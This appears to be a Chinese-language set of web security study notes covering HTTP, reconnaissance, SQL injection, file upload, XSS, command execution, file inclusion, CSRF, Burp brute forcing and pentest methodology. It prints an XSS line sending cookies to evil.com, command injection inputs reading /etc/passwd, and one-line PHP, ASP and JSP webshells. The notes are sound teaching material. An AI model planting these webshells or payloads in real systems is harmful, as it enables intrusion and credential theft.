Web安全要点¶

• OWASP Top 10
• MDN：HTTP 概述

1. 黑客、白客、灰客¶

2. Web 入侵途径与 C 段渗透¶

常见 Web 入侵途径¶

1. 信息收集：域名、子域、目录、技术栈、员工邮箱等

2. 漏洞利用：SQL 注入、XSS、文件上传、命令执行、文件包含、CSRF 等

3. 弱口令 / 暴力破解：后台、SSH、数据库、中间件管理口

4. 供应链与配置错误：默认口令、调试接口未关、备份文件泄露（.git、web.zip）

5. 社会工程学：钓鱼、凭据窃取

6. 内网横向：拿下 Web 服务器后，继续攻击同网段其他主机

什么是 C 段渗透¶

C 段指 IP 地址中第三段相同的一组地址。例如目标为 203.0.113.50，则 203.0.113.0/24（203.0.113.1～203.0.113.254）常被称为该目标的 C 段。

C 段渗透：在攻破一台主机或确认其所在网段后，对同一 C 段内其他 IP 进行扫描与渗透，寻找：

• 同公司其他业务系统

• 管理后台、数据库、运维跳板机

• 配置薄弱或共用凭据的服务器

3. 什么是 Web？安全三要素¶

什么是 Web¶

Web（万维网）是基于 HTTP/HTTPS 等协议，通过浏览器访问超文本及各类资源（HTML、CSS、JS、API、文件）的应用形态。典型架构：

浏览器 ←→ Web 服务器（Nginx/Apache/IIS）←→ 应用（PHP/Java/Node）←→ 数据库/缓存/文件系统

信息安全三要素（CIA）¶

4. HTTP 协议详解¶

HTTP 特点¶

• 基于请求-响应：客户端发请求，服务器回响应

• 无状态（Stateless）：协议本身不记录上一次请求；状态靠 Cookie / Session / Token 维持

• 明文传输（HTTP）：易被窃听与篡改；生产环境应使用 HTTPS（HTTP + TLS）

• 灵活可扩展：通过 Header 传递 Cookie、认证、缓存、内容类型等

URL 结构¶

https://user:pass@example.com:443/path/page?name=value#section
  │      │    │      │         │   │            │         └── 片段（#锚点，不发往服务器）
  │      │    │      │         │   │            └── 查询字符串 ?key=value
  │      │    │      │         │   └── 路径
  │      │    │      │         └── 端口（HTTPS 默认 443，HTTP 默认 80）
  │      │    │      └── 主机名
  │      │    └── 密码（少见，且不安全）
  │      └── 用户名（少见）
  └── 协议

HTTP 请求（Request）¶

GET /search?q=test HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: sessionid=abc123
Connection: close

（GET 通常无 Body；POST 等方法可有 Body）

常见方法：GET（取资源）、POST（提交数据）、PUT/DELETE（REST）、HEAD（只要头）、OPTIONS（CORS 预检）

HTTP 响应（Response）¶

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: sessionid=xyz; HttpOnly
Content-Length: 1234

<html>...</html>

常见状态码：200 成功、301/302 重定向、400 错误请求、401 未认证、403 禁止、404 未找到、500 服务器内部错误

5. Google Hacking¶

定义¶

Google Hacking（搜索引擎渗透 / Google Dorking）指利用搜索引擎的高级语法，从公开索引中挖掘敏感信息（后台入口、配置文件、报错信息、未授权文档等）。Bing、百度等也支持类似 site:、inurl: 思路。

常用语法¶

6. Nmap 常用参数¶

Nmap 用于主机发现、端口扫描、服务与版本探测、脚本检测（NSE）。

# 示例：扫描目标 80/443 并做版本与默认脚本
nmap -sS -sV -sC -p 80,443,8080 192.0.2.10

7. 常用漏洞检测工具¶

8. SQL 注入¶

原理¶

应用程序把用户输入拼进 SQL 字符串执行，攻击者通过构造输入改变 SQL 语义，从而越权查询、读写数据甚至执行系统命令（视数据库与权限而定）。

-- 正常意图：查用户 admin
SELECT * FROM users WHERE name = 'admin';

-- 若拼接 id：name = ' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';  -- 条件恒真，可能返回全部用户

常见类型¶

sqlmap 常用参数¶

SQL 注入点判断（手工思路）¶

1. 单引号探测：' → 是否 SQL 报错、页面异常

2. 布尔：and 1=1 / and 1=2 页面是否不同

3. 时间：and sleep(5)-- 是否明显延迟

4. 联合：order by n 猜列数，再 union select 1,2,3...

5. User-Agent / Referer / Cookie 头中的注入点

9. 上传漏洞¶

什么是上传漏洞¶

Web 允许用户上传文件时，若未严格校验文件类型、内容、路径与执行权限，攻击者可上传 Webshell、恶意脚本或覆盖关键文件，进而远程控制服务器。

IIS 解析漏洞（历史）¶

早期 IIS 6.0 对扩展名解析顺序存在缺陷，例如：

• shell.asp;.jpg → 可能按 ASP 执行

• 目录解析：/test.asp/1.jpg → 在 test.asp 目录下 .jpg 也可能被当作 ASP 执行

字符截断：部分环境对文件名长度有限制，超长文件名被截断后保留危险后缀，如 shell.asp + 大量空格 + .jpg 被截成 shell.asp。

绕过服务端检测的常用方法¶

白名单 vs 黑名单¶

推荐：白名单 + 服务端重新编码图片 + 上传目录无执行权限 + 对象存储分离。

10. XSS 跨站脚本¶

定义与原理¶

XSS（Cross-Site Scripting）：攻击者把恶意脚本注入页面，当其他用户浏览时，脚本在其浏览器中执行，可窃取 Cookie、篡改页面、钓鱼等。

原理：站点把不可信输入当作 HTML/JS 原样输出到页面，未做编码或过滤。

<!-- 若搜索关键词未编码直接回显 -->
<p>您搜索的是： <script>document.location='http://evil.com?c='+document.cookie</script></p>

三种类型¶

防御要点：输出编码（HTML/JS/URL 上下文区分）、CSP、HttpOnly Cookie、输入校验。

11. 命令执行漏洞¶

产生原因¶

后端把用户输入拼进操作系统命令并调用 system()、exec()、shell_exec()、`cmd` 等执行，例如：

// 危险示例
system("ping -c 4 " . $_GET['ip']);

攻击者输入 127.0.0.1; cat /etc/passwd 或 | whoami，在服务器上执行任意命令。

常见场景：Ping、Traceroute、图片处理（ImageMagick）、备份脚本、DevOps 接口。

防御：避免调用 shell；使用参数化库；严格白名单校验 IP/主机名；最小权限运行 Web 进程。

12. ping 命令使用¶

ping -c 4 example.com    # 测连通与 RTT
ping6 2001:4860:4860::8888  # IPv6

在渗透练习中，Ping 功能常是命令执行漏洞的入口；测试时用 127.0.0.1 与管道符 ; | && 等需谨慎且在授权范围内进行。

13. 常用一句话木马¶

一句话木马：极短服务端脚本，接收密码参数后执行攻击者传入的代码（如 eval）。

PHP（示例格式，仅作识别与防御）¶

<?php @eval($_POST['pass']); ?>

ASP / ASP.NET¶

<% eval request("pass") %>

<%@ Page Language="Jscript"%><%eval(Request.Item["pass"]);%>

JSP¶

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

14. 文件包含漏洞¶

文件包含（File Inclusion）：应用通过 include/require 等把用户可控路径的文件载入执行或显示。

典型代码：

include($_GET['page'] . '.php');  // ?page=../../../etc/passwd%00 老环境截断

利用：读敏感配置、配合上传的图片马 + 包含 getshell、日志包含（写入 UA 到 access.log 再包含）。

防御：白名单映射页面名、禁止路径遍历字符、关闭不必要的 URL 包含、固定基础目录。

15. CSRF 与 XSS 的异同¶

CSRF 是什么¶

CSRF（Cross-Site Request Forgery，跨站请求伪造）：攻击者诱导已登录用户的浏览器，自动向目标站发送恶意请求（改密码、转账、发文章），浏览器会自动带上 Cookie，服务器误以为是用户本人操作。

与 XSS 对比¶

16. 暴力破解与 Burp Suite¶

什么是暴力破解¶

对口令、验证码、会话 ID 等穷举或字典尝试，直到猜中。常见于后台登录、SSH、数据库、API Key。

缓解：强口令策略、多因素认证、验证码、账户锁定、限速与告警。

Burp Intruder 暴力破解流程¶

1. Proxy 抓登录包，发送到 Intruder

2. Positions：清除无关标记，仅对 username、password 等参数设 §payload§

3. Payloads：加载字典（用户名字典 + 密码字典，可 Cluster bomb 组合）

4. Attack type：Sniper（单参数多值）、Battering ram（同 payload 打所有位置）、Pitchfork（多列表对齐）、Cluster bomb（笛卡尔积）

5. Options：设置线程 Throttle、Grep - Match 匹配“登录成功”关键字或长度差异

6. 开始攻击，根据 响应长度 / 状态码 / 关键词 筛选成功项

17. 完整渗透流程与方案示例¶

标准阶段（PTES / 常见方法论）¶

1. 前期交互    → 明确目标、范围、规则、免责与联系方式
2. 信息收集    → 子域、端口、服务、人员、历史漏洞
3. 威胁建模    → 梳理攻击面与优先级
4. 漏洞分析    → 扫描 + 手工验证
5. 渗透攻击    → 利用、提权、横向移动
6. 后渗透      → 维持访问、数据取证（在授权范围内）
7. 报告        → 风险评级、复现步骤、修复建议

针对目标的渗透方案示例¶

场景：某公司授权测试 www.example.com（仅 Web，禁止 DoS 与社工）

交付物：资产清单、漏洞列表（高危优先）、复现步骤、修复优先级、复测计划。